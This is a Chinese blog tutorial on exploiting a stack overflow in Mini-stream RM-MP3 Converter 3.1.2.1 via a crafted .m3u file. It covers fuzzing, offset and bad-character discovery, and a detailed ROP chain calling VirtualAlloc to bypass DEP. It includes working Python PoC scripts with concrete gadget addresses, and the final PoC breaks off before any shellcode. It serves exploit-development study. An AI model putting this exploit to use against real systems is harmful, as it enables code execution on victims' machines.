DEP绕过 - RM-MP3 Converter 3.1.2.1 - RoP编写思路

0x0dee 2024-02-09 06:07:34

目的和概述:

写这篇blog的目的是练习和总结RoP的一些常用思路,例如含有retn 4指令gadget的利用方法、gadget稀少时(RM-MP3 Converter中只有一对可以寄存器相互传值的gadget)、可以利用的gadget会包含大量副作用。

blog内容包括了从程序的初步检查、模糊测试触发缓冲区溢出漏洞、坏字符和eip偏移的检查、到使用RoP构造利用这些用户模式的常规步骤,并且包含了最终可以获得远程执行shell的PoC代码,和触发漏洞的PoC代码。PoC使用python3编写。请勿用作非法目的,仅供学习。

练习的漏洞是一个很老的程序Mini-stream RM-MP3 Converter 3.1.2.1,但用它练习构造调用结构方式RoP还是略微困难(用pushad方式编写针对它的RoP会简便不少),blog中使用构造调用结构方式编写RoP链,程序并未运行在管理员权限下,最终获得的shell权限并不是管理员权限,并且漏洞是通过文件载入方式触发的,并不是远程端口方式触发。

除了RoP的编写过程写得“尽力”详细外,其他部分 - 例如漏洞的触发,并未很详细,只是给了一个过程。

应用软件概览:

  • 应用名 :Mini-stream RM-MP3 Converter 3.1.2.1

  • 漏洞类型:*.m3u文件加载导致的栈溢出

  • 端口:无

  • *.m3u的文件格式:每一行都是http请求或者文件路径

  • 语言:C++ (加载了MFC42.dll、MSVCP60.dll、MSVCRT.dll等模块)

  • 功能:音频格式的相互转化,支持格式包括:WAV、MP3、WMA、DAC、CDA、MPG、MP1、MP2、MP3、MP4、VOB、AC3等

  • 利用防护:程序本地模块并未编译任何防护 (手动开启DEP用于练习RoP编写)

详细分析:

Mini-stream RM-MP3 Converter 3.1.2.1没有开启任何网络端口,但可读取m3u文件。

追踪输入Buffer:

检查读取文件api试图追踪输入buffer,使用ida搜索导入表中使用的read函数,在ida中发现只有四行输出,但kernel32!ReadFile值得关注:
image-2024-2-5_10-19-8.png
在windbg中kernel!ReadFile下断点测试是否会发生异常:
image-2024-2-7_21-39-39.png
使用pt命令返回之ReadFile的返回处:
image-2024-2-7_21-49-24.png
同步ida:
image-2024-2-7_21-48-35.png
用于接收buffer的指针位于ebp+0x0c位置:
image-2024-2-7_21-51-37.png
在winbg中确认buffer被正确接收:
image-2024-2-7_21-53-23.png
发现断点会多次触发,清除断点,观察是否会发生其他异常:
image-2024-2-7_21-40-51.png
windbg中没有任何异常,但目标软件弹窗报了一个错误:
image-2024-2-7_21-40-26.png
根据错误信息提示,加载文件失败,很可能是因为文件内容格式检查失败,由于m3u并不是该软件独有的格式,继续使用模糊测试的方式观察目标软件行为,若模糊测试并未触发异常,可能需要逆向工程去研究目标软件对文件的处理。
通过网络搜寻发现m3u的每一个条目都是文件路径或者一个网址,由于文件路径在每个目标机器上都不一致,并且根据经验目标软件会对路径进行额外检查,可能会失去利用的兼容性,而网址具有固定格式。
image-2024-2-7_22-0-33.png
测试*.m3u单行http是否触发异常,PoC:

import sys
import os
import struct
fileName = "crash.m3u"
file = open(fileName, "wb")

buffer = b""
inputbuffer = b""

buffer = "A" * 0x2000

http = b"http://"

inputbuffer += http + buffer


file.write(inputbuffer)
file.close()

应用报错:
image-2024-2-7_22-9-9.png
并未触发异常,猜测是因为输入Buffer过小。
加大buffer至0x20000,貌似因为文件过大没有加载成功:
PoC:

import sys
import os
import struct
fileName = "crash.m3u"
file = open(fileName, "wb")

buffer = b""
inputbuffer = b""

buffer = "A" * 0x20000

http = b"http://"

inputbuffer += http + buffer


file.write(inputbuffer)
file.close()

应用报错:
image-2024-2-5_10-23-24.png

触发漏洞:

import sys
import os
import struct
fileName = "crash.m3u"
file = open(fileName, "wb")

buffer = b""
inputbuffer = b""

buffer = "A" * 0x5000

http = b"http://"

inputbuffer += http + buffer


file.write(inputbuffer)
file.close()

在PoC Buffer大小为0x5000时触发了溢出并且控制了eip:
image-2024-2-7_22-12-12.png

确定eip控制位置为栈空间:
image-2024-2-7_22-13-13.png
esp正向偏移可用空间为0n3055字节,是一个很充足的空间:
image-2024-2-5_10-43-19.png

eip和esp偏移检查:

使用msf-pattern_create生成偏移检查字符串:
image-2024-2-7_22-15-51.png
控制eip的字符为0x36695735:
image-2024-2-5_10-48-15.png
控制esp的字符为0x69573869:
image-2024-2-5_10-56-11.png
使用msf-pattern_offset确定偏移量,eip为0n17417,esp为0n17425:
image-2024-2-5_10-56-30.png
更新PoC验证偏移是否正确:
image-2024-2-5_10-59-3.png
验证正确:
image-2024-2-5_10-57-29.png

坏字符检查:

PoC:

# eip offset : 0n17417
# esp offset : 0n17425

import sys
import os
import struct
fileName = "crash.m3u"
file = open(fileName, "w")

bufferSize = 0x5000

badchars = (
    b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
    b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
    b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
    b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
    b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
    b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
    b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
    b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
    b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
    b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
    b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
    b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
    b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
    b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
    b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
    b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
    b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
    b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


buffer = ""
inputbuffer = ""
eipOffset = "A" * 17417
eip = "B" * 4
buffer += eipOffset + eip

espOffset = "C" * (17425 - len(buffer))
esp = "D" * 4
buffer += espOffset + esp + badchars


buffer += "F" * (bufferSize - len(buffer))
http = "http://"
inputbuffer += http + buffer
file.write(inputbuffer)
file.close()

包含坏字符导致buffer没有被正确存放至栈中:
image-2024-2-5_11-6-44.png
使用二分法定位坏字符:
image-2024-2-5_11-7-7.png
后半部分没有包含坏字符:
image-2024-2-5_11-7-54.png
继续使用二分法:
image-2024-2-5_11-8-54.png
包含坏字符的行:
image-2024-2-5_11-14-48.png
image-2024-2-5_11-14-28.png
经过大量重复二分法,查找到坏字符最终结果:

0x00 0x0a 0x09

利用构建:

手动开启DEP防护,并且选择一个用于RoP编写的模块:

手动开启DEP防护,用于练习RoP链的编写:
image-2024-2-5_11-30-5.png

使用rp++查找gadgets

坏字符为0x00和0x09和0x0a,除了exe模块地址包含了0x00外,MSLog模块地址的一部分会包含0x09字符,它只有大概0x4000个字节的空间的地址没有包含坏字符,所以排除这两个模块。
image-2024-2-5_11-32-17.png
为了保证gadgets充足,需要尽量使用足够大的模块,但在没有开启ASLR的情况下,可以使用除了微软和不包含坏字符地址的任意模块中的gadgets。但在开启了ASLR的情况下,每个模块的地址都是独立的,使用信息泄漏的方式通常只能泄漏一个模块的地址。

但在实际测试中,只有一个模块的基地址不会变化,MSA2Mfilter03.dll。使用其他模块有很大概率利用失败。
image-2024-2-5_11-56-39.png
image-2024-2-5_11-59-51.png

RoP编写:

确定用于改变shellcode内存权限的API为VirtualAlloc:
image-2024-2-6_1-52-37.png
有两种方法可以利用RoP链去构建VirtualAlloc的调用,pushad指令方式和构建调用结构方式。

pushad 指令方式:由于puashad会将寄存器的值按照顺序写入到栈中,它们的顺序为eax ecx edx ebx esp ebp esi edi,可以事先在寄存器中写入需要传递给API的参数,当pushad被执行时,参数会被写入到栈中从而完成调用栈的构建。

pushad方式针对Mini-stream RM-MP3 Converter 3.1.2.1的实现方式参考https://fuzzysecurity.com/tutorials/expDev/7.html

构建调用结构的方式:本次RoP的编写使用的即构建调用结构的方式,它相比pushad会稍困难一些,并且需要的可以利用的gadgets也会更多。本此利用中也确实遇到了一些因为gadgets稀少导致的困难,但从练习的角度上来说是值得挑战的。

它的基本思路是:在内存中构建一个针对API调用结构,它的结构如下(使用VirtualAlloc做例子):

条目名称 需要的值 作用
VirtualAlloc地址 VirtualAlloc的实际运行地址 调用VirtualAlloc
Returan address shellcode address VirtualAlloc返回时运行至shellcode
lpAddress shellcode address 需要改变内存权限的地址
Dwsize 0x01 改变内存的大小
flAllocationType 0x1000 立即分配物理内存资源
flProtect 0x40 改变内存权限为读写可执行

在 RoP中的最后一条gadget需要修改esp指向VirtualAlloc,这条gadget最后一个指令是ret,运行至ret时eip会直接被当前 esp指向的地址赋值,也即ret执行完之后会立即运行到VirtualAlloc中,并且它的返回值和四个参数也需要在调用VirtualAlloc之 前按照上述表格构建好,用于参数传递。

在正常使用call指令调用一个函数时,call指令的下一条指令的地址会被压入栈中,这样在被调函数返回时可以继续运行call指令后的下一条指令。我们的RoP调用VirtualAlloc完成之后可以直接运行到shellcode中,所以在调用结构的第二个dword中模仿了正常的call指令行为去放置shellcode的地址。

lpAddress参数表示需要修改权限的地址,我们需要修改存放shellcode内存空间的权限。DwSize参数表示需要修改的内存空间大小,但VirutaulAlloc每次只能修改一个页(4kB)的内存空间,所以将它传入0x1 - 0x1000都将是表示一个页的内存空间。
flAllocationType传入0x1000表示MEM_COMMIT,意为立即为分配的虚拟内存分配物理内存资源,以便可以使用这部分内存进行读写操作。
flProtect参数为0x40表示修改后的内存权限为读写和可执行,为了绕过DEP使shellcode可执行,必须将它传入可执行标志。
更多的可执行标志如下:
(需要注意的是shellcode需要读写内存去实现功能,特别是在有编码器的情况下需要动态修改自身的代码,0x40是最合适的一个参数)
image-2024-2-7_23-9-17.png

RoP链的具体的编写过程和使用gadgets遇到的一些副作用:

RoP 的编写在每个利用中甚至在同一个利用中使用不同的模块中由不同的模块提供的gadgets都不尽相同,这样的条件下,RoP的编写会具有很大的灵活性,同时由于gadgets或许会带有一些额外的在利用时不期望的操作,这些操作很可能会产生一系列的副作用,并且每个副作用或许关联了很多相关的 gadget,绕过这些副作用是RoP编写中最复杂的一环。

但幸运的是,RoP的编写目的很明确:调用一个能修改存放了shellcode内存空间权限的API,并且保证修改后运行至shellcode并且保证shellcode正确执行。

为了在栈中构建一个调用结构,首先需要获得esp寄存器的内容,例如包含了mov eax,esp的gadget是一个最佳选择。如下图,在linux bash环境中可以使用grep命令去搜索包含了形如mov eax, esp的行,在grep中"."表示一个字符的通配符。

grep "mov e.., esp"可以搜索所有可以取得esp值的gadget,另外,包含了push esp;  pop e.. ; 的gadget也可以用于获得esp的值。

在本例中,只有一条包含了push esp; pop esi; 的gadget可以取得esp的内容。其他指令都会改变RoP的执行流,他们包含了call指令:
image-2024-2-5_16-19-21.png

但这条唯一可以获得esp的gadget包含了一个mov dword [edx], ecx指令,如果edx指向一个没有写入权限的地址将会导致访问异常的发生。

为了保证不会发生异常,我们需要在使用这条gadget时保证edx始终指向一个具有写权限的地址。具体方式是在模块空间中寻找一个具有写权限的地址,例如模块的数据段中的一个地址,将它pop 到edx中。这将在后面的内容中具体描述。

此时使用该gadget时位于RoP的开始处,我们还可以观察在触发漏洞时edx是否指向一个可写的内存:
image-2024-2-5_16-23-40.png
使用!address命令观察到触发溢出时edx指向堆空间,并且具有写权限,gadget不会发生访问异常。
image-2024-2-5_16-48-50.png
我们可以寻找一个gadget在RoP运行时始终保存调用结构的指针,这样在计算完需要写入的返回地址或者参数时只需要将它+4即可指向下一个需要写入的地址。这样的方式需要保证用于保存调用结构指针的不会被覆盖。

在esp的值保存到esi中之后,我们需要将它mov到eax中用于计算调用结构的值,这是因为使用了eax的gadgets数量会比较丰富一些。

查找esi可以mov到哪些寄存器中,无一例外都是mov eax, esi:
image-2024-2-8_0-3-41.png
我们选择最干净的gadget: pop eax, esi ; pop esi ; ret ; 它的副作用是会覆盖esi,并且所有搜索mov e.., esi的输出中无一例外都会这个副作用:
image-2024-2-8_0-0-40.png
在 有了这获得esp并且保存到eax的gadget之后,我们可以将调用结构存放在栈中的一个位置,在控制eip的空间之后,有大量的空间去存放调用结构和 shellcode,为了保证RoP空间的足够,所以我们可以预想将调用结构存放在esp + 0x804的位置,并且将shellcode存放在esp+850位置。

为了计算调用结构的地址,我们需要一个能将eax+0x804的gadget,或者eax减去-0x804的gadget。0x804会包含NULL(0x00)字符,我们选择包含sub eax, e.. gadget去避免正数导致的坏字符:
image-2024-2-8_0-24-25.png
sub eax, ecx; ret; 很干净,我们选择它:
image-2024-2-8_0-24-57.png
现在我们有了,获得栈地址的push esp; pop esi 、mov eax, esi 和sub eax, ecx,还需要一个pop ecx将-0x804存放在ecx中用于计算,pop e..可能是gadgets中最常见的指令了。

如下第4行,mov eax, esi; pop esi ; ret; 之后填充了一个0x1fffffff用于平衡pop esi之后的栈空间,0x1fffffff没有具体含义但它可以用在windbg中调试时确定当前运行位于RoP中的哪个位置,毕竟在windbg输出中只有一堆地址,所以可以在不同的位置将它放置为不同的值。

第6行,-0x804的补码为0xfffff7fc,使用减去负数的方式去避免输入Buffer中包含坏字符。

# 计算调用结构地址的PoC
rop = b""
rop += pack("<L", 0x10032d54)   # push esp ; and al, 0x10 ; pop esi ; mov dword [edx] , ecx; ret ; # push esp; pop esi;
rop += pack("<L", 0x10022863)   # mov eax, esi; pop esi ; ret; 
rop += pack("<L", 0x1fffffff)   ## pop to esi # junk
rop += pack("<L", 0x100329ae)   # pop ecx
rop += pack("<L", 0xfffff7fc)   ## -0x804
rop += pack("<L", 0x1002c87e)   # sub eax, ecx; ret; # eax + 0x804

在获得了调用结构的指针后,我们需要解引用VirtualAlloc在导入表中的地址去获得VirtualAlloc的实际地址。

回顾需要构建的调用结构:

条目名称 需要的值 作用
VirtualAlloc地址 VirtualAlloc的实际运行地址 调用VirtualAlloc
Returan address shellcode address VirtualAlloc返回时运行至shellcode
lpAddress shellcode address 需要改变内存权限的地址
Dwsize 0x01 改变内存的大小
flAllocationType 0x1000 立即分配物理内存资源
flProtect 0x40 改变内存权限为读写可执行

解引用gadget的选择,如mov eax, dword [eax]是一个很好的选择,并且模块中确实有这个gadget。解引用之后,还需要一个能将VirtualAlloc实际地址写入到调用结构中的gadget,例如mov dword [eax],e.. 。

grep的搜索中发现了两个干净的gadget,mov dword [eax], ecx; ret; 和 mov dword [eax], edx; ret; ,使用他们的前提是需要有一个gadget可以将需要写入的内容赋值到ecx中或者edx中。
image-2024-2-8_0-54-1.png
通 过搜索mov e.., eax发现有一条gadget符合要求,它包含了mov edx, eax指令,但它包含了一条shl edx, cl指令,它在ecx不为零的情况下会修改edx中的值。因此我们还需要一条能将ecx置为零的gadget。
image-2024-2-7_23-54-53.png
xor ecx, ecx,置零ecx,包含xor ecx, ecx的gadget副作用是会将eax置零(mov eax, ecx):
image-2024-2-8_6-26-28.png
现在我们有了更多的gadget,包括了获得esp、调用结构计算、解引用VirtualAlloc和写入VirtualAlloc的gadget。

我们现在可以将它们组合起来:

第2行的gadget作用是将ecx置零,但它包含了一条mov eax, ecx指令,这意味着我们不能在eax中保存有有价值的信息时候置零ecx,它会一同将eax也置零。

第4行的目的是对齐esp,第2行的gadget与eip的偏移位置相匹配,它的运行并不考虑esp指向的位置,而当它返回时使用的是esp指向的位置,所以在第一条gadget之后需要考虑esp对齐的问题。

第6行即用于获得esp内容的gadget,它的副作用是会将ecx写入到edx指向的地址,而在上面的内容中,我们已经知道edx在内存触发时指向堆空间,所以在此刻使用这条gadget并不会发生异常。

第7行用于将VirtualAlloc的导入表地址pop到eax中,用于第9行的mov eax, dword [eax]解引用成VirtualAlloc的实际地址。值得注意的是它最后的指令是retn 0x04,需要在第10行填充一个dword去对齐esp。

第9行将VirtualAlloc的导入表地址解引用后得到实际地址,并存放在eax中。

第 10行用于对齐第7行的retn 4指令,在pop eax; retn 4执行完之后,virtualAlloc导入表地址被pop到eax中,并且ret到下一条gadget,并不需要在下一条gadget之前放置一个四字 节的填充,但在成功运行至下一条gadget之后(在下一条gadget开始处)esp会被立即+4,这时候才需要填充一个四字节内容(第10行的内 容)。更进一步,如果retn 4之后的gadget包含了一些pop指令,pop的内容需要放置在为应付retn 4的填充之后。

第12 行为包含mov eax, edx的gadget,我们在第2行使用的xor ecx, ecx可以保证这个gadget不会产生副作用。它的目的是将解引用之后的VirtualAlloc地址(存放在eax中)赋值到edx中,为后续的 mov dword [eax], edx作准备。

第13行将之前保存的esp取出至eax中,在第17行将它与-0x804相减得到调用结构的地址,并且在最后一行写入VirtualAlloc地址到调用结构中。

rop = b""  #1 
rop += pack("<L", 0x10024fc0)   # xor ecx, ecx; cmp eax, 0xe0000000; sete cl; mov eax, ecx; ret; # xor ecx, ecx #2
# 修复esp偏移, esp距离eip+0n14偏移
rop += pack("<L", 0xfffffff1)   # junk for esp offset #4
# 取得esp的值,需要保证edx可访问, 避免发生访问异常, 在漏洞触发时edx指向堆空间,mov dword[edx], ecx 并不会发生异常 
rop += pack("<L", 0x10032d54)   # push esp ; and al, 0x10 ; pop esi ; mov dword [edx] , ecx; ret ; # push esp; pop esi; #6
rop += pack("<L", 0x10031274)   # pop eax; retn 4; #7
rop += pack("<L", 0x1005d060)   ## pop to eax, virtualalloc address in import table #8
rop += pack("<L", 0x1003225f)   # mov eax, dword [eax] ; ret ; #9
rop += pack("<L", 0xfffffff2)   ## junk for retn 4 #10
# 因为后面需要将edx写入到eax指向的调用结构,唯一有的一条mov edx, eax;有一些副作用要处理,将ecx清零可以避免副作用, 但包含xor ecx, ecx寄存器的gadget会有修改eax的副作用,需要在eax被使用之前将ecx清零
rop += pack("<L", 0x10029930)   # mov edx, eax; xor eax, eax; and cl, 0x1f; shl edx, cl ; ret; # mov eax, edx #12
rop += pack("<L", 0x10022863)   # mov eax, esi; pop esi ; ret;  #13
rop += pack("<L", 0x1fffffff)   ## pop to esi # junk #14
rop += pack("<L", 0x100329ae)   # pop ecx #15
rop += pack("<L", 0xfffff7fc)   ## -0x804 #16
rop += pack("<L", 0x1002c87e)   # sub eax, ecx; ret; # eax + 0x804 #17
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ; #18

接下来写入第二个调用结构条目:return address

在gadgets充足的情况下,例如包含了一对以上足够干净的能够互相传值的寄存器,我们可以将调用结构指针保存在一个寄存器中,并且在需要时将它取出+4即可指向下一个条目。

由 于只有一对寄存器可以互传,mov eax, edx和mov edx, eax,并且edx被用在mov dword [eax], edx中,这样的情况下可以选择替换mov dword [eax] ,edx,而另外一条等价的mov dword [eax], ecx需要使用ecx,ecx在包含mov edx, eax的gadget中必须保持零值状态,也即在每次使用mov edx, eax时ecx都必须被修改,而mov edx, eax是不可替代的一条gadget。在这样的情况下edx并不能用作保存调用结构的指针,这意味着在写入第二个调用结构条目时需要重复获得esp的值重 新计算调用结构偏移,幸运的是,我们可以复用第一次找到的gadgets。

在下列的RoP构建中,我们重新取得esp的值并且重新计算调用结构的偏移量,同时也需要再次重复获得esp的值并且计算shellcode的偏移量(我们将它存放在距离获得esp的值时的esp+0x850位置)。

回 顾在第一次使用包含有push esp; pop esi; 的gadget时需要保证edx指向的地址为可写入权限,第一次使用时edx保持了漏洞触发时的状态,它指向堆空间,而在第二次使用时,edx已经被使用 过,并且它指向了VirtualAlloc的调用地址,这并不是一个可写入的地址。

为了解决这个问题,我们可以在模块的数据段找一个具有写权限的地址提前赋值到edx中。在windbg中使用!dh MSA2Mfilter03可以查看模块在内存中各个段,通常一些数据段是有读写权限的,例如HEADER #3:
image-2024-2-6_2-41-39.png
我 们在第8行至第11行将0x10066004 pop到eax中,并且mov到edx中,在每次使用mov edx, eax, xor eax, eax; and cl, 0x1f; shl edx, cl; ret; 之前都使用了ecx置零gedgat,在第14行我们再次获得esp的值,并且在15行至25行将它计算为shellcode的预定偏移 esp+0x850,并且将计算出的值存放在edx中,用于后续mov dword [eax], edx的写入。

最初的想法是复用已经计 算得的shellcode地址值去计算调用结构的地址,但由于在使用包含mov edx, eax的gadget时它包含了一条xor eax, eax指令,它会将eax置零,无法实现这个想法,所以我们在第29行至36行重复取得esp并且计算调用结构偏移。

在一切准备就绪时,在最后一条gadget中写入了return address条目为shellcode的地址。

####    return address = shellcode    ####
# shellcode 放置在距离当前esp + 0x850位置
# 由于只有edx可以和eax互传而它被用于存放需要写入调用结构的值没有足够的寄存器可以存放调用结构指针但是在每次需要使用时可以重新计算它
# 清零ecx
rop += pack("<L", 0x10024fc0)   # xor ecx, ecx; cmp eax, 0xe0000000; sete cl; mov eax, ecx; ret; # xor ecx, ecx
# 第二次使用push esp; pop esi; gadget时需要将edx指向一个写入时不会发生异常的地址
rop += pack("<L", 0x10031274)   # pop eax; retn 0x04;
rop += pack("<L", 0x10066004)   ## 0x10066004 (HEADER #3 Read Write address)
# 将edx赋值为一个HEADER #3中的可写地址防止写入edx导致访问异常
rop += pack("<L", 0x10029930)   # mov edx, eax; xor eax, eax; and cl, 0x1f; shl edx, cl ; ret; # mov edx, eax; 
rop += pack("<L", 0x1fffffff)   ## junk for retn 0x04
# 再次获得esp地址计算shellcode地址
rop += pack("<L", 0x10024fc0)   # xor ecx, ecx; cmp eax, 0xe0000000; sete cl; mov eax, ecx; ret; # xor ecx, ecx
rop += pack("<L", 0x10032d54)   # push esp ; and al, 0x10 ; pop esi ; mov dword [edx] , ecx; ret ; # push esp, esi
rop += pack("<L", 0x10022863)   # mov eax, esi; pop esi ; ret; 
rop += pack("<L", 0x1ffffff1)   ## junk for pop esi
# shellcode 位于取得esp值时的esp+0x850位置
rop += pack("<L", 0x1005be45)   # pop ebp ; ret ;
rop += pack("<L", 0x11111961)   ## 0x11111111 + 0x850 = 0x11111961
rop += pack("<L", 0x1005c170)   # pop ebx ; ret ;
rop += pack("<L", 0x11111111)   ## 0x11111111
rop += pack("<L", 0x1002c5d6)   # sub ebp, ebx; or esi, esi ; ret; # 0x11111a15 - 0x11111111 = 0x850
rop += pack("<L", 0x10051ff5)   # add eax, ebp; ret;
# 保存到edx中用于后续写入
rop += pack("<L", 0x10029930)   # mov edx, eax; xor eax, eax; and cl, 0x1f; shl edx, cl ; ret; # mov edx, eax 
# 在push esp; pop esi;mov dword [edx], ecx会覆盖edx指向的内容它指向shellcode的首地址提前将ecx赋值为0x90909090可以避免副作用
rop += pack("<L", 0x100329ae)   # pop ecx; ret ;
rop += pack("<L", 0x90909090)   ## pop to ecx, nops
rop += pack("<L", 0x10032d54)   # push esp ; and al, 0x10 ; pop esi ; mov dword [edx] , ecx; ret ; # push esp; pop esi
rop += pack("<L", 0x10022863)   # mov eax, esi; pop esi ; ret; 
rop += pack("<L", 0x2fffffff)   ## pop to esi
rop += pack("<L", 0x100329ae)   # pop ecx; ret;
################################################
rop += pack("<L", 0xfffff87c)   ## -0x784
################################################
rop += pack("<L", 0x1002c87e)   # sub eax, ecx; ret; # eax + 0x784 => return address
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;

接下来调用结构需要的参数为lpAddress = shellcode address、dwSize = 1、flAllocationType = 0x1000、flProtect = 0x40。

由 于它们的写入都不会破坏eax,eax将始终指向调用结构(没有使用包含有mov edx, eax的会置零eax的gadget,mov edx, eax被用作计算完shellcode地址之后将shellcode地址临时保存在edx中(因为在计算调用地址时会覆盖eax,它必须被保存到另外一个 寄存器中),而后续的参数写入都不用重复两次计算esp的偏移,也即eax不会被破坏),我们可以将它+4后写入需要的参数,重复“+4后写入”的步骤可 以写入所有参数:

lpAddress条目与return addres相同都是需要写入shellcode地址,而edx和eax都未被破坏,只需简单eax+4后重新写入edx即可。

dwSize需要传入的值为1,我们将edx置零,并且将它使用inc edx加1即可,在最后使用“+4写入”。

flAllocatonType 需要写入0x1000它包含了0x00坏字符,我们使用add edx, ebx将两个不包含坏字符的值相加即可计算出0x1000,最后同样“+4写入”。

flProtect需要为0x40,我们复用flAlloctonType的方式+4写入。

####    lpaddress = shellcode    ####
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;

####    dwSize = 1   ####
rop += pack("<L", 0x1002991c)   # xor edx, edx; ret ;
rop += pack("<L", 0x10028fe6)   # inc edx; cld ; pop edi ; pop ebx ;ret ; # inc edx
rop += pack("<L", 0x3fffffff)   ## pop to edi
rop += pack("<L", 0x4fffffff)   ## pop to ebx
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;
####    flAllocationType = 0x1000   ####
rop += pack("<L", 0x1005c170)   # pop ebx ; ret;
rop += pack("<L", 0xeeeefeef)   ## pop to ebx
rop += pack("<L", 0x100319c0)   # pop edx ; ret;
rop += pack("<L", 0x11111111)   ## pop to ebx
rop += pack("<L", 0x10029f3e)   # add edx, ebx; pop ebx; retn 0x10 ; # 0xeeeefeef + 0x11111111 = 0x1000
rop += pack("<L", 0x5fffffff)   ## pop to ebx
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0x6fffffff)   ## pop to ebx
rop += pack("<L", 0x7fffffff)   ## pop to ebx
rop += pack("<L", 0x8fffffff)   ## pop to ebx
rop += pack("<L", 0x9fffffff)   ## pop to ebx
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;
####    flProtect = 0x40     ####
rop += pack("<L", 0x1005c170)   # pop ebx ; ret;
rop += pack("<L", 0xeeeeef2f)   ## pop to ebx
rop += pack("<L", 0x100319c0)   # pop edx ; ret;
rop += pack("<L", 0x11111111)   ## pop to ebx
rop += pack("<L", 0x10029f3e)   # add edx, ebx; pop ebx; retn 0x10 ; # 0xeeeeef2f + 0x11111111 = 0x40
rop += pack("<L", 0xafffffff)   ## pop to ebx
rop += pack("<L", 0x100192dc)   # add eax, 0x04; ret ;
rop += pack("<L", 0xbfffffff)   ## pop to ebx
rop += pack("<L", 0xcfffffff)   ## pop to ebx
rop += pack("<L", 0xdfffffff)   ## pop to ebx
rop += pack("<L", 0xefffffff)   ## pop to ebx
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;

万 事备妥,只欠东风。最后我们只需要简单地将eax-0x20,减去五个参数的大小,并且使用xchg eax, esp; ret; 即可调用VirtualAlloc去修改shellcode内存页的权限,并且由我们的精心构建,在VirutalAlloc返回时将直接运行至 shellcode,从而绕过DEP利用防护,获得远程代码执行权限。

####    call VirtualAlloc   ####
rop += pack("<L", 0x1005be45)   # pop ebp ; ret ;
rop += pack("<L", 0x11111111)   ## 0x11111111
rop += pack("<L", 0x1005c170)   # pop ebx ; ret ;
rop += pack("<L", 0x11111125)   ## 0x11111111 + 0n20 = 0x11111125
rop += pack("<L", 0x1002c5d6)   # sub ebp, ebx; or esi, esi ; ret; # 0x11111111 - 0x11111125 = -0n20
rop += pack("<L", 0x10051ff5)   # add eax, ebp; ret; # eax -0n20
rop += pack("<L", 0x1002fe81)   # xchg eax, esp; ret ; 

最终PoC:

# eip offset : 0n17417
# esp offset : 0n17425
# bad chars : 0x00 0x09 0x0a

import sys
import os
from struct import pack
fileName = "crash.m3u"
file = open(fileName, "wb")

bufferSize = 0x5000

# 调用结构存放在运行至rop时esp + 0x804位置

rop = b""
rop += pack("<L", 0x10024fc0)   # xor ecx, ecx; cmp eax, 0xe0000000; sete cl; mov eax, ecx; ret; # xor ecx, ecx
# 修复esp偏移, esp距离eip+0n14偏移
rop += pack("<L", 0xfffffff1)   # junk for esp offset
# 取得esp的值,需要保证edx可访问, 避免发生访问异常, 在漏洞触发时edx指向堆空间,mov dword[edx], ecx 并不会发生异常
rop += pack("<L", 0x10032d54)   # push esp ; and al, 0x10 ; pop esi ; mov dword [edx] , ecx; ret ; # push esp; pop esi;
rop += pack("<L", 0x10031274)   # pop eax; retn 4;
rop += pack("<L", 0x1005d060)   ## pop to eax, virtualalloc address in import table
rop += pack("<L", 0x1003225f)   # mov eax, dword [eax] ; ret ;
rop += pack("<L", 0xfffffff2)   # junk for esp offset
# 因为后面需要将edx写入到eax指向的调用结构,唯一有的一条mov edx, eax;有一些副作用要处理,将ecx清零可以避免副作用, 但包含xor ecx, ecx寄存器的gadget会有修改eax的副作用,需要在eax被使用之前将ecx清零
rop += pack("<L", 0x10029930)   # mov edx, eax; xor eax, eax; and cl, 0x1f; shl edx, cl ; ret; 
rop += pack("<L", 0x10022863)   # mov eax, esi; pop esi ; ret; 
rop += pack("<L", 0x1fffffff)   ## pop to esi # junk
rop += pack("<L", 0x100329ae)   # pop ecx
rop += pack("<L", 0xfffff7fc)   ## -0x804
rop += pack("<L", 0x1002c87e)   # sub eax, ecx; ret; # eax + 0x804
rop += pack("<L", 0x100114e8)   # mov dword [eax], edx ;ret ;

####    return address = shellcode    ####

# shellcode 放置在距离当前esp + 0x850位置
